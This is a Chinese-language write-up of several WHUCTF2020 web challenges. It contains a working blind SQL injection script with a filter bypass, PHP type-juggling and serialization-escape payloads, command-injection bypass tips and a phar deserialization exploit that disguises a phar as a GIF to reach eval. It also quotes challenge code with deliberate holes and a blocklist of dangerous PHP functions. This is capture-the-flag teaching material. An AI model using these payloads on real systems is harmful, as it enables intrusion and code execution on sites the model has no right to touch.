Contents

WHUCTF2020 Writeup

WHUCTF2020做题笔记

Easy_sqli

简单盲注,过滤了一些关键词可以双写绕过

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
def login(_username,_password):
    url = "http://218.197.154.9:10011/login.php"
    headers = {
                'Host': '218.197.154.9:10011',
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
                'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
                'Accept-Encoding': 'gzip, deflate',
                'Connection': 'close',
                'Upgrade-Insecure-Requests': '1',
        }
    data = {
        "user":_username,
        "pass":_password
    }
    response = requests.post(url,data=data,headers=headers)
    content = response.content
    #print content
    
    if "Login success!" in content:
        return True
    else:
        return False

def main():
    find_name = ""
    # i 表示了所要查找的名字的最大长度
    for i in range(0x50):
        # 0x80=128 , 0x20=32,  32-128为可显示的字符的区间
        for j in range(0x80 , 0x20 , -1):
            
            _username = "1' oorr ascii(substr((seselectlect f111114g frfromom f1ag_y0u_wi1l_n3ver_kn0w),%d,1))=%d#" %(i,j)
            _password="1"
            #print _username
            if login(_username,_password):
                find_name+=chr(j)
                print find_name
                break

main()

https://leonsec.gitee.io/images/QQ图片20200527000116.png

ezphp

源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];

//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
    echo '1st ok'."<br>";
}
else{
    die('会代码审计嘛23333');
}


//2nd
if(is_numeric($string_1)){
    $md5_1 = md5($string_1);
    $md5_2 = md5($string_2);

    if($md5_1 != $md5_2){
        $a = strtr($md5_1, 'pggnb', '12345');
        $b = strtr($md5_2, 'pggnb', '12345');
        if($a == $b){
            echo '2nd ok'."<br>";
        }
        else{
            die("can u give me the right str???");
        }
    } 
    else{
        die("no!!!!!!!!");
    }
}
else{
    die('is str1 numeric??????');
}

//3nd
function filter($string){
    return preg_replace('/x/', 'yy', $string);
}

$username = $_POST['username'];

$password = "aaaaa";
$user = array($username, $password);

$r = filter(serialize($user));
if(unserialize($r)[1] == "123456"){
    echo file_get_contents('flag.php');
}

NCTF和Minilctf有类似的题目

https://leonsec.gitee.io/images/QQ图片20200527000739.png

最后一关考反序列化逃逸,参考本站:http://blog.clq0.top/2020/05/minil-ctf/#ezbypass

payload:

1
2
3
http://218.197.154.9:10015/?num=23333%0A&str1=240610708&str2=11230178
POST:
username=xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}

poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
function filter($string){
    return preg_replace('/x/', 'yy', $string);
}

$username = 'xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}';

$password = "aaaaa";
$user = array($username, $password);

$r = filter(serialize($user));
echo serialize($user).'</br>';
echo $r.'</br>';
echo unserialize($r)[1];
if(unserialize($r)[1] == "123456"){
    echo "good!";
} 
?>

https://leonsec.gitee.io/images/QQ图片20200527000533.png

ezcmd

简单的rce-bypass

参考:http://blog.clq0.top/2020/03/ctfhub-web-rce-%e7%bb%bc%e5%90%88%e8%bf%87%e6%bb%a4/

使用$IFS$9绕空格,变量绕flag和cat即可

或者用cat ls也可直接输出当前所有文件内容

ezinclude

简单文件包含伪协议读文件,经过测试

thankyou.php?file=处存在文件包含,伪协议读flag.php即可

Easy_unserialize

参考:https://www.freebuf.com/column/198945.html

打开题目发现是图片上传,结合题目应该想到phar反序列化,之前在复现Drupal 远程代码执行漏洞(CVE-2019-6339)的时候遇到过,但是没去深究

phar反序列化的利用原理主要是:利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

Phar简介

phar扩展提供了一种将整个PHP应用程序放入称为“ phar”(PHP归档文件)的单个文件中的方法,以便于分发和安装。除了提供此服务之外,phar扩展还提供了一种文件格式抽象方法,用于通过PharData类创建和处理tar和zip文件 ,就像PDO提供了用于访问不同数据库的统一接口一样。与无法在不同数据库之间进行转换的PDO不同,Phar还可以使用一行代码在tar,zip和phar文件格式之间进行转换。有关一个示例,请参见 Phar :: convertToExecutable()

什么是Phar?Phar归档文件最有特色的特点是可以方便地将多个文件分组为一个文件。这样,phar存档提供了一种在单个文件中分发完整的PHP应用程序并从该文件运行它的方法,而无需将其提取到磁盘。此外,PHP可以像在命令行上和从Web服务器上的任何其他文件一样轻松地执行phar存档。Phar有点像PHP应用程序的拇指驱动器。

------来自https://www.php.net/manual/en/intro.phar.php
简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// php://等类似,也是一种流包装器。
1
2
3
4
5
6
//phar结构由 4 部分组成:

stub phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;
manifest 压缩文件的属性等信息,以序列化存储;
contents 压缩文件的内容;
signature 签名,放在文件末尾;

这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;二是反序列化phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多:

https://leonsec.gitee.io/images/17c4c630-b5f7-4e02-af48-160cd8fcf73a.png

我们知道php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
    //根据具体代码修改可利用的类
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

接下来我们看看WHUCTF这道题,

在index.php访问其他页面抓包可以看到有?acti0n=xxx

用伪协议读upload.php源码:?acti0n=php://filter/convert.Base64-encode/resource=upload.php

伪协议过滤了base64关键字,大小写即可绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<!DOCTYPE html>

<link type = "text/css" rel = "stylesheet" href = "css/style.css">

<html lang = "zh">
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <title>上传图片</title>
</head>
<body>
  <script type = "text/javascript" color = "0,0,255" opacity = '0.7' zIndex = "-2" count = "99" src = 'js/canvas-nest.min.js'></script> <!-- 动态背景 -->
  <br><br><br>
  <h2>上传你手里最好的图片!</h2>
  <p id = "comment">If it is excellent enough, you will get the flag!</p>
  <br><br><br>
  <div class = "form1">
    <form action = "upload.php" method = "post" accept-charset = "utf-8" enctype = "multipart/form-data">
      <label name = "title" for = "file">图片:   </label>
      <input type = "file" name = "file" id = "file">
      <input type = "submit" class = "button" name = "submit" value = "上传">
    </form>
  </div>

</body>
</html>

<?php 
  error_reporting(0);
  $dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
  if(!is_dir($dir)) {
    if(!mkdir($dir, 0777, true)) {
      echo error_get_last()['message'];
      die('Failed to make the directory');
    }
  }
  chdir($dir);
  if(isset($_POST['submit'])) {
    $name = $_FILES['file']['name'];
    $tmp_name = $_FILES['file']['tmp_name'];
    $ans = exif_imagetype($tmp_name);
    if($_FILES['file']['size'] >= 204800) {
      die('filesize too big.');
    }
    if(!$name) {
      die('filename can not be empty!');
    }
    if(preg_match('/(htaccess)|(user)|(\.\.)|(%)|(#)/i', $name) !== 0) {
      die('Hacker!');
    }
    if(($ans != IMAGETYPE_GIF) && ($ans != IMAGETYPE_JPEG) && ($ans != IMAGETYPE_PNG)) {
      $type = $_FILES['file']['type'];
      if($type == 'image/gif' or $type == 'image/jpg' or $type == 'image/png' or $type == 'image/jpeg') {
        echo "<p align=\"center\">Don't cheat me with Content-Type!</p>";
      }
      echo("<p align=\"center\">You can't upload this kind of file!</p>");
      exit;
    }
    $content = file_get_contents($tmp_name);
    if(preg_match('/(scandir)|(end)|(implode)|(eval)|(system)|(passthru)|(exec)|(chroot)|(chgrp)|(chown)|(shell_exec)|(proc_open)|(proc_get_status)|(ini_alter)|(ini_set)|(ini_restore)|(dl)|(pfsockopen)|(symlink)|(popen)|(putenv)|(syslog)|(readlink)|(stream_socket_server)|(error_log)/i', $content) !== 0) {
      echo('<script>alert("You could not upload this image because of some dangerous code in your file!")</script>');
      exit;
    }

    $extension = substr($name, strrpos($name, ".") + 1);
    if(preg_match('/(png)|(jpg)|(jpeg)|(phar)|(gif)|(txt)|(md)|(exe)/i', $extension) === 0) {
      die("<p align=\"center\">You can't upload this kind of file!</p>");
    } 
    $upload_file = $name;
    move_uploaded_file($tmp_name, $upload_file);

    if(file_exists($name)) {
      echo "<p align=\"center\">Your file $name has been uploaded.<br></p>";
    } else {
      echo '<script>alert("上传失败")</script>';
    }
    echo "<p align=\"center\"><a href=\"view.php\" >点我去看上传的文件</a></p>";
    #header("refresh:3;url=index.php");
  }
 ?>

读view.php:?acti0n=PhP://Filter/convert.Base64-encode/resource=upload.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<!DOCTYPE html>
<html lang="zh">
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <title>查看图片</title>
  <link type = "text/css" rel = "stylesheet" href = "css/style.css">
</head>
<body>
  <script type = "text/javascript" color = "0,0,255" opacity = '0.7' zIndex = "-2" count = "99" src = 'js/canvas-nest.min.js'></script> <!-- 动态背景 -->
  <?php
  #include_once "flag.php"; 
  error_reporting(0);
  class View
  {
    public $dir;
    private $cmd;

    function __construct()
    {
      $this->dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
      $this->cmd = 'echo "<div style=\"text-align: center;position: absolute;left: 0;bottom: 0;width: 100%;height: 30px;\">Powered by: xxx</div>";';
      if(!is_dir($this->dir)) {
        mkdir($this->dir, 0777, true);
      }
    }

    function get_file_list() {
      $file = scandir('.');
      return $file;
    }

    function show_file_list() {
      $file = $this->get_file_list();
      for ($i = 2; $i < sizeof($file); $i++) { 
        echo "<p align=\"center\" style=\"font-weight: bold;\">[".strval($i - 1)."]  $file[$i] </p>";
      }
    }

    function show_img($file_name) {
      $name = $file_name;
      $width = getimagesize($name)[0];
      $height = getimagesize($name)[1];
      $times = $width / 200;
      $width /= $times;
      $height /= $times;
      $template = "<img style=\"clear: both;display: block;margin: auto;\" src=\"$this->dir$name\" alt=\"$file_name\" width = \"$width\" height = \"$height\">";
      echo $template;
    }

    function delete_img($file_name) {
      $name = $file_name;
      if (file_exists($name)) {
        @unlink($name);
        if(!file_exists($name)) {
          echo "<p align=\"center\" style=\"font-weight: bold;\">成功删除! 3s后跳转</p>";
          header("refresh:3;url=view.php");
        } else {
          echo "Can not delete!";
          exit;
        }
      } else {
        echo "<p align=\"center\" style=\"font-weight: bold;\">找不到这个文件! </p>";
      }
    }

    function __destruct() {
      eval($this->cmd);
    }
  }

  $ins = new View();
  chdir($ins->dir);
  echo "<h3>当前目录为 " . $ins->dir . "</h3>";
  $ins->show_file_list();
  if (isset($_POST['show'])) {
    $file_name = $_POST['show'];
    $ins->show_img($file_name);
  }
  if (isset($_POST['delete'])) {
    $file_name = $_POST['delete'];
    $ins->delete_img($file_name);
  }
  unset($ins);
  ?>
</body>
</html>

在upload.php里可以看见白名单里有phar,明显就是让我们利用phar反序列化

然后看到view.php里有明显的eval和file_exists()函数,于是可以利用view类的file_exists()出发phar反序列化然后调用eval执行我们的命令

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
class View
    {
        public $dir;
        private $cmd='highlight_file("/var/www/html/flag.php");';
}
$a=new View();
@unlink("phar.phar");
$phar = new Phar("eval.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.jpg", "test");
$phar->stopBuffering();

访问生成eval.php然后上传,在view.php处postshow=phar://eval.phar或者delete=phar://eval.phar

https://leonsec.gitee.io/images/QQ图片20200530115150.png